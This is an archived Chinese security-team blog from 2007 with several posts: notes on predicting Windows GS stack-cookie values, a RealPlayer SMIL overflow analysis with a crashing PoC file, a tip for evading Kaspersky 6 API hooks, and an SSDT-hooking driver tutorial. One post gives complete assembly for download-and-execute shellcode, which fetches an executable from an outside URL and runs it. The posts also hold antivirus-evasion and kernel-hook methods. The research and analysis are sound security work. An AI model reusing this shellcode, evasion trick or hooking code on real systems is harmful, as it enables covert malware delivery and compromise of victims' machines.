2007年6月29日星期五

[Tips]Reducing the Effective Entropy of GS阅读笔记

天桥说书的: void#ph4nt0m.org
pub: 2007-06-29
last mod: 2007-06-29
http://www.ph4nt0m.org

附件链接: http://bootshell.googlepages.com/attack_gs.zip

      Reducing the Effective Entropy of GS是uninformed.org的vol.7的第1篇文章.
      看完收获就是这一句话:

      While the results shown in this paper do not represent a complete break of GS, they do hint toward a general weakness in the way that GS cookies are generated.

      为啥把这句放到结尾?! 这不是明摆着坑害读者嘛.
      全文就不翻译了,把其中有点意思的记下来.

1. 预备知识
----------------------------------------------------
      GS __security_cookie的生成方法:

Cookie ^= SystemTimeHigh; //
Cookie ^= SystemTimeLow; // GetSystemTimeAsFileTime()
Cookie ^= ProcessId; // GetCurrentProcessId()
Cookie ^= ThreadId; // GetCurrentThreadId()
Cookie ^= TickCount; // GetTickCount()
Cookie ^= PerformanceCounterHigh; //
Cookie ^= PerformanceCounterLow; // QueryPerformanceCounter()

      该生成过程在PE入口点处的第一个call里面执行.生成的__security_cookie是映象的全局cookie.

      为了提高攻击难度,__security_cookie用于被保护函数的时候,微软做了如下处理:

.text:0040214B mov eax, __security_cookie
.text:
00402150 xor eax, ebp
.text:
00402152 mov [ebp+2A8h+var_4], eax

      上面这段取自被GS保护的函数的Prologue,可以看到var_4 =__security_cookie ^ ebp;因为ebp的不确定,增加了var_4的随机性.

.text:00402223 mov ecx, [ebp+2A8h+var_4]
.text:
00402229 xor ecx, ebp
.text:0040222B pop esi
.text:0040222C call __security_check_cookie

      上面这段取自被GS保护的函数的Epilogue,可以看到ecx = var_4 ^ ebp后,调用了__security_check_cookie函数.跟进:

.text:0040634B cmp ecx, __security_cookie
.text:
00406351 jnz short loc_406355
.text:
00406353 rep retn
.text:
00406355 loc_406355:
.text:
00406355 jmp __report_gsfailure

      如果ecx==__security_cookie,则直接ret;如果ecx!=__security_cookie,则跌入深渊__report_gsfailure: 进程结束,溢出失败.

2. 我猜,我猜,我猜猜猜
----------------------------------------------------
      作者假定的攻击环境是:
      能有个本地非特权用户的shell.(废话,要是administrator,还费那事干嘛,直接上锤子砸不就得了)

      先来看看全局的__security_cookie,如果要猜出它的值,需要猜出为cookie提供熵值的SystemTimeHigh,SystemTimeLow,ProcessId,ThreadId,TickCount, PerformanceCounterHigh,PerformanceCounterLow. 初看起来这和中彩票概率没什么差别,但是如果注意到,这些值都是在进程启动的时候生成的,就有意思了,下面按顺序说明如何猜测这些值:

2.1 SystemTimeHigh, SystemTimeLow
----------------------------------------------------
      SystemTime共64bit,High是高32bit,Low是低32bit.
      猜这个值比较容易,因为SystemTime的精度没想像中的那么高,并非传说中的100纳秒,而是是15.625毫秒或10.1毫秒.在这段漫长的时间 (当然是对CPU而言),创建线程和生成cookie的过程早就"biu!"的一声就完成了.所以我们可以假定线程的创建时间与生成cookie的时间一致!因此,猜测SystemTime的值转换成了猜线程的创建时间.
      猜线程的创建时间需要要借助Native API NtQuerySystemInformation.通过SystemProcessesAndThreadsInformation系统信息类,我们能够得知进程名,进程创建时间和进程里面每个线程的创建时间(我们要的东西),而且最重要的是这个函数允许非特权用户调用.
      但在Vista下这种方法不可行,因为Vista已经去掉了这个信息类.

2.2 ProcessId, ThreadId
----------------------------------------------------
      这两个值最容易得到.只要利用上面说过的NtQuerySystemInformation通过SystemProcessesAndThreadsInformation信息类获得进程id和线程id即可.
      有趣的是ProcessId和ThreadId的高16bit为0x0000,也就是说对cookie的高16bit值改变没有任何贡献.
      当然,Vista下这个方法不可行,理由同上.

2.3 Tick Count
----------------------------------------------------
      GetTickCount()函数返回的是系统启动后经过的毫秒数,所以如果知道系统的启动时间,同时假定cookie的生成时间与线程创建时间 CreationTime一致,那么Tick Count的估计值EstTickCount可以通过如下公式计算得到: (/10000是将100纳秒转换成毫秒)

      EstTickCount = (CreationTime - BootTime) / 10000

      同样,调用NtQuerySystemInformation通过SystemTimeOfDayInformation系统信息类即可获得系统的启动时间BootTime.(为一个64bit数,精度为100纳秒)
      据作者测试, 上面的公式加上个经验值修正后,能更准点:

      EstTickCount = [(CreationTime - BootTime) / 10000] + 78

2.4 PerformanceCounterHigh, PerformanceCounterLow
----------------------------------------------------
      PerformanceCounter共64bit,High是高32bit,Low是低32bit.其中Low 32bit很难猜准,可以看第3节的测试结果.
      PerformanceCounter即性能计数器值.这到底是怎么一个值?它是系统启动后,不断增加的一个计数器值(变化频率是固定的),调用QueryPerformanceCounter()可以读出当前性能计数器的值(64bit).
      调用QueryPerformanceFrequency()可以告诉我们性能计数器每秒的滴答数,即变化频率PerfFreq,而且PerfFreq值在系统启动后不能改变.
      所以,用前面估测的SystemTime,即EstSystemTime减去BootTime得到估测的启动时间EstUptime,再乘上 PerfFreq,即可得到估测的性能计数值EstPerfCounter: (/10000000是把PerfFreq由秒转成100纳秒级别)

      EstPerfCounter = EstUpTime * (PerfFreq / 10000000)

      据作者测试,上述公式加个经验值-165000,猜得更准些:

      EstPerfCounter = EstUpTime * (PerfFreq / 10000000) - 165000

3. 测试
----------------------------------------------------
      先用VC2005 Express(免费的)编译附带的show_cookie.c,记住带上/GS编译参数.
      用ollydbg载入show_cookie.exe,进入___security_init_cookie例程(就在show_cookie.exe的入口点处那个call调用).如下patch函数:

      ___security_init_cookie函数:

00401685 > \E9 52010000 JMP 004017DC ; 跳转到补丁代码
0040168A
90 NOP
0040168B
> F7D6 NOT ESI ; 从补丁代码处跳回
0040168D .
8935 68314000 MOV DWORD PTR DS:[403168],ESI

      补丁代码: (在.text节尾部空白处写)

004017DC      8935 64314000        MOV DWORD PTR DS:[403164],ESI  ; 执行 ___security_init_cookie被JMP抹掉的那条指令
004017E2      56                            PUSH ESI       ; push Cookie值        
004017E3      55                            PUSH EBP       ;  push 栈帧
004017E4      E8 17F8FFFF              CALL 00401000  ; 调用DumpInfo函数显示全局Cookie值
004017E9    ^ E9 9DFEFFFF           JMP 0040168B   ; 跳回 ___security_init_cookie

      在ollydbg中保存修改,得到可以显示cookie值及相关信息的show_cookie_mod.exe文件.运行之,显示自己的全局cookie值.

      再编译原文附带的gencookie.c,运行gencookie.exe show_cookie_mod.exe,得到猜测的cookie值.

      下面是我的一次测试结果:

      图(1)

      图(2)

      如上图所示,绿色表明猜对的部分,黄色表明猜错的部分,最终得到的猜测cookie值只有最高1字节符合.-_-"

4. 居然还有结论
----------------------------------------------------
      能看到这里,说明你被彻底忽悠了. hiahiahia :-P

2007年6月27日星期三

[Exploit]Microsoft Excel 2000/2003 Sheet Name Vulnerability PoC(0day)

Vuln Exposed by: ZhenHan.Liu
Team: Ph4nt0m Security Team
http://www.ph4nt0m.org

Tested on: Full Patched Excel 2003 Sp2, CN

http://www.milw0rm.com/sploits/06272007-2670.zip

[Exploit]RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow 简单分析(POC)

by axis
2007-06-27
http://www.ph4nt0m.org

这是一个忽悠人的漏洞,这是我们内部讨论后的结论。当然也许是我们考虑的不够全面,所以把我们的分析公开在这里,希望哪位大牛能够指点下我们,望不吝赐教!

那么我们为什么会认为这是个忽悠人的漏洞呢,简单分析如下。

漏洞是今天由idefense公布的.

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=547

首先看看这个漏洞的历史:

VIII. DISCLOSURE TIMELINE

10/02/2006 Initial vendor notification
10/03/2006 Initial vendor response
06/26/2007 Public disclosure

丫挺的原来去年10月份就报给厂商了,到今天才pub出来。

根据漏洞公告,RealPlayer 10.5是受影响的,和我们的测试结果一致。我们测试10.6已经补了,而10.5和10.0.x都存在这个漏洞。

从公告中可以看出,这个漏洞是看代码看出来,而且是先用flawfinder扫过的。引用公告中的代码如下:

924 HX_RESULT
925 SmilTimeValue::parseWallClockValue(REF(const char*) pCh)
926 {
...
957 char buf[10]; /* Flawfinder: ignore */
...
962 while (*pCh)
963 {
...
972 else if (isspace(*pCh) || *pCh == '+' || *pCh == '-'
|| *pCh == 'Z')
973 {
974 // this will find the last +, - or Z ...  which is
what we want.
975 pTimeZone = pCh;
976 }
...
982 ++pCh;
983 }
...
1101 if (pTimePos)
1102 {
1103 //HH:MM ...
... .
1133 if (*(pos-1== ':')
1134 {
... .
1148 if (*(pos-1== '.')
1149 {
1150 // find end.
1151 UINT32 len = 0;
1152 if (pTimeZone)
1153 {
1154 len = pTimeZone - pos;
1155 }
1156 else
1157 {
1158 len = end - pos;
1159 }
1160 strncpy(buf, pos, len); /* Flawfinder: ignore */


这里告诉我们一个方法,有的漏洞挖掘,可以直接去看同系列的开源代码(如果有的话),因为代码可能很大程度上是差不多的。同时也告诉我们不要太过于迷信工具,这个漏洞显然是flawfinder检测不出来的。

根据公告的说明,这个漏洞是存在于SMIL语言的wallclock方法中(SMIL语法请自己google).
这个漏洞存在于 /Program Files/Common Files/Real/Pluggins/smlrender.dll 中
loc_608A136A:
sub     eax, edi
mov     edx, eax
mov     [ebp
+var_8], eax
push    edx             ; size_t
lea     eax, [ebp
+var_40]
push    edi             ; 
char *
push    eax             ; 
char *
call    ds:strncpy
mov     ecx, [ebp
+var_8]
add     esp, 0Ch
mov     [ebp
+ecx+var_40], 0
mov     al, [ebp
+var_40]
test    al, al
jz      loc_608A155A


strncpy的拷贝在如上位置。

拷贝完后会覆盖ecx、edx,同时eax、edi会指向shellcode。
在strncpy拷贝完后,会因为
mov [ebp+ecx+var_40], 0
导致异常,所以我建议覆盖seh利用
SEH的位置在[esp+5C8]处

接下来是这个漏洞真正忽悠人的地方了。

这个天杀的漏洞只能接受如下字符才能触发:
数字0-9,),.,Z,+,-,空格

也就是说触发漏洞的payload只能用上述字符,否则就触发不了漏洞。
即以下字符: 0x30-0x39, 0x20, 0x29, 0x2b, 0x2d, 0x2e, 0x5a

那么不管是覆盖ret,还是覆盖seh,都只能有这些字符,甚至像利用单字节溢出一样,只覆盖一个字节,也只能是这些字符。

先不论shellcode如何写,光是怎么改变程序运行流程使之指向shellcode,几乎就是不可能的了。

使用如下classid: CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA
在ie中调用,使用heap spray,也只能把堆地址最高推到 0x0f******, 推到0x10******都比较困难。
使用java做 heap spray,堆地址范围是 0x21****** - 0x26****** 也不符合要求。

所以说这个漏洞基本上是忽悠人玩的。

公告中有如下一句话:
The data that is used to overflow the buffer is quite limited in the
range of characters that are allowed. However, given the ease of
address space manipulation within web browsers, exploitation is not
substantially impacted by this limitation.

也许这个漏洞还有别的好的利用方法,那么如果哪位大牛找到了,请share我们一份,谢谢。

以下是我们的POC,注意要挂载了调试器才能看到异常,直接运行是不会挂realplayer的,可惜了一个好漏洞!

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
  
<body>
    
<par>
      
<img src="./1.jpg" begin="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)" dur="5s"/>
    
</par>
  
</body>
</smil>


将上面代码保存为x.smil即可,这是一个文件类型的漏洞。

怀着恶意揣测一下idefense,可能还有可以利用的好漏洞,他报出来的只是一个垃圾漏洞而已。。。。

2007年6月26日星期二

[Tips]shellcode绕过kav6

by void
2007-06-18
http://www.ph4nt0m.org


kav6 hook了kernel32.dll里面的:
LoadLibraryA/W
LoadLibraryExA/W
GetProcAddress 等5个函数.
如果发现函数的返回地址位于stack,则弹出"buffer overrun detected"的报警.而且后续调用载入dll里的函数也会报警.
绕过方法:
shellcode里面,把调用这些函数的返回地址置于.code段或者kernel32.dll等里面.具体的实现就即兴发挥了:-)



axis小评:每种AV hook函数的方式都不一样,有兴趣的不妨跟跟。知道原理后,要break这些保护就相对变得简单了。另外shellcode要绕过保护比木马绕过保护要简单,因为一般shellcode是在漏洞中利用,本身就是在该进程中执行的。

[Tips]vc的编译参数优化

by void
2007-06-23
http://www.ph4nt0m.org


/*
      Author: void#ph4nt0m.org
*/

// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include <windows.h>
#pragma comment(lib,
"kernel32.lib")

// 作用: 指定节对齐为512字节
#pragma comment(linker, "/align:512")

// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, "/merge:.data=.text")
#pragma comment(linker, 
"/merge:.rdata=.text")

// 作用: 指定子系统为windows (和优化无关)
// vc编译器默认是console,会有个黑糊糊的CMD窗口,不好看.用windows就好了
#pragma comment(linker, "/subsystem:windows")

// 作用: 指定入口函数
// 子系统为windows的默认入口点WinMain和console的默认入口点main,都会引入一段启动stub代码,指定入口函数可去掉之.
#pragma comment(linker, "/ENTRY:main")


//int WinMain(HINSTANCE current, HINSTANCE prev, LPSTR cmdline, int showcmd)

// 作用: 去掉函数的栈帧代码,纯属吹毛求疵:-)
// 即函数开头的push ebp / mov ebp, esp和结尾的pop ebp / retn
__declspec(naked)
void main()
{
      
// 调用wmp. 这是按套路出牌的方法.
      
//typedef VOID (__stdcall *fnRunDllW)(HWND, HINSTANCE, LPCWSTR, DWORD);
      
//((fnRunDllW)GetProcAddress(LoadLibrary("msdxm.ocx"), "RunDllW"))(0,0,0,0);

    
// 不按套路出牌,不压入RunDllW的函数参数,直接调用.
      GetProcAddress(LoadLibrary("msdxm.ocx"), "RunDllW")();
      
// 注意此时的堆栈是不平衡的.
      
// 但是通过ExitProcess()退出自身,就不用去考虑平衡了.
      ExitProcess(0);
}

2007年6月24日星期日

[Exploit]Tiny Download&&Exec ShellCode

Author: czy
http://www.ph4nt0m.org
Date:2007-06-22


;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 
163=61(16+8+9+(28))+95(68+27)+17
;
163+19=192
comment 
%
                #
--------------------------------------#          #
              #  Tiny Download
&&Exec ShellCode-->       #       #
            #    
-->size 192                              #   #
          #                      
2007.06.01                 # 
            #                    codz: czy                #   #
             #
------------------------------------------#      #

system :test on ie6
+XPSP2/2003SP2/2kSP4
%
.
586
.model flat,stdcall
option casemap:none

include     c:\masm32\include\windows.inc
include     c:\masm32\include\kernel32.inc
includelib  c:\masm32\lib\kernel32.lib
include     c:\masm32\include\user32.inc
includelib  c:\masm32\lib\user32.lib


.data
shelldatabuffer db 
1024 dup(0)
shellcodebuffer db 
2046 dup(0)
downshell db 
'down exploit',0
txtname  db 
'c:\office\unicode.doc',0
.code
start:
 invoke MessageBoxA,
0,offset downshell,offset downshell,1
 invoke RtlMoveMemory,offset shellcodebuffer,00401040H,
256
 mov eax,offset shellcodebuffer
 jmp eax
 somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境 
@@shellcodebegin:  
 call @@beginaddr
@@beginaddr:
 PUSH 03H      ;要调用的API函数个数
 jmp @@realshellcode         
myExitProcess     dd 073e2d87eh  
myWinExec         dd 00e8afe98h   
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 
'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 
'c:\a.exe',0
url               db 
'http://www.masm32.net/a.exe',0

 

@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi
+4
;得到kernel32.dll基地址
db  67h,64h,0A1h,30h,00h
 mov eax, [eax
+0cH]
 mov esi, [eax
+1cH]
    lodsd
 mov ebp, [eax
+08H]          ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH      ECX
@@next3:
MOV       ESI,[EBP
+3Ch]
MOV       ESI,[EBP
+ESI+78h]
ADD       ESI,EBP
PUSH      ESI
MOV       ESI,[ESI
+20h]
ADD       ESI,EBP
XOR       ECX,ECX
DEC       ECX
@@next:
INC       ECX
LODSD
ADD       EAX,EBP
XOR       EBX,EBX
@@again:
    MOVSX     EDX,BYTE PTR [EAX]
    CMP       DL,DH
    JZ        @@end
    ROR       EBX,0Dh
    ADD       EBX,EDX
    INC       EAX
    JMP       @@again
@@end:
CMP       EBX,[EDI]
JNZ       @@next

POP       ESI
MOV       EBX,[ESI
+24h]
ADD       EBX,EBP
MOV       CX,WORD PTR [ECX
*2+EBX]
MOV       EBX,[ESI
+1Ch]
ADD       EBX,EBP
MOV       EAX,[ECX
*4+EBX]
ADD       EAX,EBP
STOSD
POP       ECX
loop @@next2

mov ecx,[edi]   ;
2
cmp cl,
'c'      ;3
jz @@downfile   ;
2
PUSH EDI
CALL EAX        ;
2
xchg eax,ebp
scasd
scasd
push 
01         ;2第二个DLL的函数个数
jmp @@next3     ;
2
                ;总计17

        
@@downfile:

 push edx  ;
0
 push edx  ;
0
 push    edi  ;file
=c:\a.exe
 lea     ecx, dword ptr [edi
+9h]
 push    ecx  ;url
 push edx  ;
0
 call eax  ;URLDownloadToFileA,
0,url,file=c:\a.exe,0,0
 
 
 push 
1 ;FOR TEST
 push edi
 call dword ptr [edi
-14H] ;winexec,'c:\xxx.exe',1
 
    call dword ptr [edi
-18H] ;Exitprocess

    somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
    invoke ExitProcess,
0
end start

2007年6月11日星期一

[Tips]简单说说SSDT

Author: 云舒
http://www.ph4nt0m.org
Date: 2007-06-11


论技术,我还差得远,而且网上关于SSDT的文章也多不胜数。但是还是想自己写一下,因为我想试试我能不能用最简单的语言来描述SSDT——这个对一般来人来说比较神秘的属于内核的地带。引用EVA说的一句话,“以为写个驱动就是内核,还远着了”——大概是这么个意思,记得不是很清楚。

关于SSDT,描述得最清楚的应该算《SSDT Hook的妙用-对抗ring0 inline hook》一文了,作者是堕落天才。这里引用一下他写的开头部分,略有个别字符的修改:

内核中有两个系统服务描述符表,一个是KeServiceDescriptorTable,由ntoskrnl.exe导出,一个是 KeServieDescriptorTableShadow,没有导出。这两者都是一个结构体,结构下面会给出。他们的区别是, KeServiceDescriptorTable仅有 ntoskrnel一项,而KeServieDescriptorTableShadow则包含了ntoskrnel和win32k。一般的Native API的服务地址由KeServiceDescriptorTable分派,而gdi.dll和
user.dll的内核API调用服务地址,由 KeServieDescriptorTableShadow分派。还有要清楚一点的是win32k.sys只有在GUI线程中才加载,一般情况下是不加载的。

他们的结构如下:

typedef struct _SYSTEM_SERVICE_TABLE
{
    PVOID ServiceTableBase;    
//这个指向系统服务函数地址表
    PULONG ServiceCounterTableBase;
    ULONG NumberOfService;     
//服务函数的个数,NumberOfService*4 就是整个地址表的大小
    ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,
*PSYSTEM_SERVICE_TABLE;

typedef 
struct _SERVICE_DESCRIPTOR_TABLE
{
    SYSTEM_SERVICE_TABLE ntoskrnel;    
//ntoskrnl.exe的服务函数
    SYSTEM_SERVICE_TABLE win32k;    //win32k.sys的服务函数,(gdi.dll/user.dll的内核支持)
    SYSTEM_SERVICE_TABLE NotUsed1;
    SYSTEM_SERVICE_TABLE NotUsed2;
}SYSTEM_DESCRIPTOR_TABLE,
*PSYSTEM_DESCRIPTOR_TABLE; 


当系统需要使用一个本机API的时候,就会去查找SYSTEM_DESCRIPTOR_TABLE这个表,也就是由ntoskrnl.exe导出的KeServiceDescriptorTable:
nt!RtlpBreakWithStatusInstruction:
80527fc8 cc              
int     3
kd
> dd KeServiceDescriptorTable
80553380  805021fc 00000000 0000011c 80502670
80553390  00000000 00000000 00000000 00000000
805533a0  
00000000 00000000 00000000 00000000
805533b0  
00000000 00000000 00000000 00000000
805533c0  
00002710 bf80c227 00000000 00000000
805533d0  f9e6da80 f963a9e0 816850f0 806e0f40
805533e0  
00000000 00000000 00000000 00000000
805533f0  97c5ac40 01c7abf5 
00000000 00000000 


可以看到,KeServiceDescriptorTable的地址是80553380。现在看看这个地址保存的是什么,因为这个地址的值就是 SYSTEM_SERVICE_TABLE的起始地址。好了,我们看到这个地址保存的是805021fc,那么也就是说,系统服务的地址表起始地址为 805021fc了。看看这个表是些什么鬼东西:
kd> dd 805021fc
805021fc  
80599746 805e6914 805ea15a 805e6946
8050220c  805ea194 805e697c 805ea1d8 805ea21c
8050221c  8060b880 8060c5d2 805e1cac 805e1904
8050222c  805ca928 805ca8d8 8060bea6 805ab334
8050223c  8060b4be 8059dbbc 805a5786 805cc406
8050224c  804ffed0 8060c5c4 8056be64 805353f2
8050225c  80604b90 805b19c0 805ea694 80619a56
8050226c  805eeb86 80599e34 80619caa 805996e6 


这个过程是这样的,最开始是SYSTEM_DESCRIPTOR_TABLE(80553380)保存了SYSTEM_SERVICE_TABLE的地址(805021fc),SYSTEM_SERVICE_TABLE的地址(805021fc)又保存了很多地址,这个地址就是系统服务的地址了,类似 NtOpenProcess这样的ring0的函数地址。这样,系统就可以方便的找到每一个ring0函数去调用。

我们先看看第一个地址80599746是个什么函数,反汇编一下:
kd> u 80599746
nt
!NtAcceptConnectPort:
80599746 689c000000      push    9Ch
8059974b 6820a14d80      push    offset nt
!_real+0x128 (804da120)
80599750 e8abebf9ff      call    nt!_SEH_prolog (80538300)
80599755 64a124010000    mov     eax,dword ptr fs:[00000124h]
8059975b 8a8040010000    mov     al,
byte ptr [eax+140h]
80599761 884590          mov     byte ptr [ebp-70h],al
80599764 84c0            test    al,al
80599766 0f84b9010000    je      nt!NtAcceptConnectPort+0x1df (80599925


原来是NtAcceptConnectPort函数,第二个805e6914呢?我们也看一下,
kd> u 805e6914
nt
!NtAccessCheck:
805e6914 8bff            mov     edi,edi
805e6916 
55              push    ebp
805e6917 8bec            mov     ebp,esp
805e6919 33c0            xor     eax,eax
805e691b 
50              push    eax
805e691c ff7524          push    dword ptr [ebp
+24h]
805e691f ff7520          push    dword ptr [ebp+20h]
805e6922 ff751c          push    dword ptr [ebp
+1Ch] 


原来是NtAccessCheck函数。

这样我们可以清楚的看到,在这个起始地址为0x805021fc的表中,保存了各个ring0函数的地址。下面我来做个简单的比喻。

从前有一个很大的帮派,名字叫做Windows,功能很多并且很强大。因为这些各方面的能力由各个专人负责,他们一个人做一件事情。随着人员增多,帮主发现联系起来越来越困了。有一天帮主要找竟然NtOpenProcess来调查一下他的一个手下是不是别的帮派派来的间谍,但是他发现 NtOpenProcess跑不见了。

于是军师就想出了一个好办法来解决这个问题:先建立一个封闭的密室,这个密室只有八袋长老以上的人才能进去。密室中间有一张纸条,上面写着一个地址——温家堡,还有这个地址放着多少人的联系信息等内容。这个密室就是Ntdll.dll,这个纸条就是 SYSTEM_DESCRIPTOR_TABLE,上写的地址就是SYSTEM_SERVICE_TABLE,也就是温家堡了。这个温家堡是一个有很多大房间的地方,每个房子有个房间号
,房间里面又放着一张纸条,上面写着各个手下的住所。比如说编号为7A的房间,里面放的是NtOpenProcess的家庭住址。

这样一来,帮主要找人就容易了。先去密室找到纸条,看看上面写的是温家堡还是白云城,那个地方有多少个人的联系信息等。如果是温家堡就跑到那里去,看看要找谁,找NtOpenProcess就去7A房间。在这个房间里一看,啊,里面写着NtOpenProcess现在就住在密室的旁边……搞定。

这里就有一个新的问题,帮主假设这个里面写的东西都是正确的,没有被人改过。于是就有了别派的间谍发现了,偷偷溜进密室,然后根据纸条的内容,又跑到温家堡。进到7A房间,神不知鬼不觉的把里面记录的NtOpenProcess的地址改成了自己的家。于是,帮主再找人,发现找到对头家里去了。这个就是传说中的SSDT Hook了。

攻击者进入ring0之后,找到KeServiceDescriptorTable地址的值,即SYSTEM_SERVICE_TABLE的地址(进入密室,找到纸条写的地址——温家堡)。然后改写SYSTEM_SERVICE_TABLE中一个特定函数的地址为自己定义的函数入口处,截获了系统调用(来到温家堡,改掉7A房间里面写的住所,改成自己家)。一次HOOK就完成了。

下面我给一段简单的代码,演示怎么样让一个特定的PID不会被杀死。这段代码基本和《SSDT Hook的妙用-对抗ring0 inline hook》一文一样,我只是注释了一下而已,另外在MyNtOpenProcess处加了个判断是不是某个特定PID的功能。
/*
演示HOOK系统服务调用表中的NtOpenProcess函数,保护需要保护的进程被,防止被杀掉
*/

#include
<ntddk.h>

/*
KeServiceDescriptorTable仅有ntoskrnel一项,没有包含win32k,而且后面的两个字段都没有使用,所

以为了简便直接把SystemServiceDescriptorTable定义成SYSTEM_SERVICE_TABLE,免得访问多个结构体的

字段,麻烦。这里明白就行了。
*/
typedef 
struct _SystemServiceDescriptorTable
{
    PVOID    ServiceTableBase;
    PULONG    ServiceCounterTableBase;
    ULONG    NumberOfService;
    ULONG    ParamTableBase;
}SystemServiceDescriptorTable,
*PSystemServiceDescriptorTable;

// KeServiceDescriptorTable为ntoskrnl.exe导出
extern    PSystemServiceDescriptorTable    KeServiceDescriptorTable;

// 定义一下NtOpenProcess的原型,下面如果用汇编调用就不用定义了,但是我想尽量不用汇编
typedef    NTSTATUS    (__stdcall *NTOPENPROCESS)( OUT PHANDLE ProcessHandle,
                                                

IN ACCESS_MASK AccessMask,
                                                

IN POBJECT_ATTRIBUTES ObjectAttributes,
                                                

IN PCLIENT_ID ClientId
                                                

);

NTOPENPROCESS    RealNtOpenProcess;

// 定义函数原型
VOID Hook();
VOID Unhook();
VOID OnUnload(IN PDRIVER_OBJECT DriverObject);

// 真实的函数地址,我们会在自定义的函数中调用
ULONG    RealServiceAddress;

// 需要被驱动保护的进程ID
HANDLE    MyPID;

// 自定义的NtOpenProcess函数
NTSTATUS __stdcall MyNtOpenProcess( OUT    PHANDLE ProcessHandle,
                    IN    ACCESS_MASK DesiredAccess,
                    IN    POBJECT_ATTRIBUTES ObjectAttributes,
                    IN    PCLIENT_ID ClientId )
{
    NTSTATUS    rc;
    ULONG        PID;
    
    
//DbgPrint( "NtOpenProcess() called.\n" );
    
    rc 
= (NTSTATUS)(NTOPENPROCESS)RealNtOpenProcess( ProcessHandle, DesiredAccess,

ObjectAttributes, ClientId );
    
    
if( (ClientId != NULL) )
    {
        PID 
= (ULONG)ClientId->UniqueProcess;
        
//DbgPrint( "%d was opened,Handle is %d.\n", PID, (ULONG)ProcessHandle );
        
        
// 如果进程PID是1520,直接返回权限不足,并将句柄设置为空
        if( PID == 1520 )
        {
            DbgPrint( 
"Some want to open pid 1520!\n" );
            
            ProcessHandle 
= NULL;
                        
            rc 
= STATUS_ACCESS_DENIED;
        }
    }
    
    
return rc;
}

// 驱动入口
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
{
    DriverObject
->DriverUnload = OnUnload;

    Hook();
    
    
return STATUS_SUCCESS;
}

// 驱动卸载
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
    Unhook( );
}

//  此处修改SSDT中的NtOpenProcess服务地址
VOID Hook()
{
    ULONG            Address;
    
    
// 0x7A为Winxp+SP2下NtOpenProcess服务ID号
    
// Adress是个地址A,这个地址的数据还是一个地址B,这个地址B就是NtOpenProcess的地址了
    
// (ULONG)KeServiceDescriptorTable->ServiceTableBase就是温家堡的第一个房间
    
// Address是第7A个房间。
    Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;

    
// 取得地址A的值,也就是NtOpenProcess服务的地址了,保存原来NtOpenProcess的地址以后恢

复用
    RealServiceAddress 
= *(ULONG*)Address;
    
    RealNtOpenProcess 
= (NTOPENPROCESS)RealServiceAddress;
    
    DbgPrint( 
"Address of Real NtOpenProcess: 0x%08X\n", RealServiceAddress );

    DbgPrint(
" Address of MyNtOpenProcess: 0x%08X\n", MyNtOpenProcess );

    
// 去掉内存保护
    __asm
    {
        cli
        mov    eax, cr0
        and    eax, not 10000h
        mov    cr0, eax
    }
    
    
// 修改SSDT中NtOpenProcess服务的地址
   *((ULONG*)Address) = (ULONG)MyNtOpenProcess;

    
// 恢复内存保护
    __asm
    {
        mov    eax, cr0
        or    eax, 10000h
        mov    cr0, eax
        sti
    }
}

//////////////////////////////////////////////////////
VOID Unhook()
{
   ULONG   Address;
   Address 
= (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;

    __asm
    {
        cli
        mov    eax, cr0
        and    eax, not 10000h
        mov    cr0, eax
    }

    
// 还原SSDT
    *((ULONG*)Address) = (ULONG)RealServiceAddress;
    
    __asm
    {
        mov    eax, cr0
        or    eax, 10000h
        mov    cr0, eax
        sti
    }

    DbgPrint(
"Unhook");

2007年6月3日星期日

[Paper]逆向分析点滴

Author: void#ph4nt0m.org
Date: 2007.05.15
Publish Date: 2007.06.04
http://www.ph4nt0m.org

征女友!有意者请点击

Index
========================================
1. IDA的使用
2. 编译器优化
3. Viusal C++, Borland Delphi程序的逆向分析
4. 算法识别技巧(常用的加解密算法)

1. IDA使用
=========================================
      工欲善其事,必先利其器.在开始前,先熟悉下IDA的使用.
      [1] 先说一些常用的功能.
      (1)编译器设置(选项->编译器)用来指定IDA所分析文件是什么编译器生成的,如Visual C++,Borland C++,Delphi.这有什么用呢?
      比如下面是Delphi的反汇编片段,如果编译器设定为Viusal C++:

code:00479A8F                 lea     edx, [ebp+var_40]
code:00479A92                 mov     eax, [ebp
+someString]
code:00479A95                 call    @Sysutils@Trim$qqrx17System@AnsiString
code:00479A95
code:00479A9A                 mov     edx, [ebp
+var_40]
code:00479A9D                 lea     eax, [ebp
+someString]
code:00479AA0                 call    @System@@LStrLAsg$qqrpvpxv

      函数参数类型和个数很难一眼看出来.把编译器设定为Delphi后,一目了然:
code:00479A8F                 lea     edx, [ebp+var_40]
code:00479A92                 mov     eax, [ebp
+someString]
code:00479A95                 call    Sysutils::Trim(System::AnsiString)
code:00479A95
code:00479A9A                 mov     edx, [ebp
+var_40]
code:00479A9D                 lea     eax, [ebp
+someString]
code:00479AA0                 call    System::__linkproc__ LStrLAsg(
void *,void *)

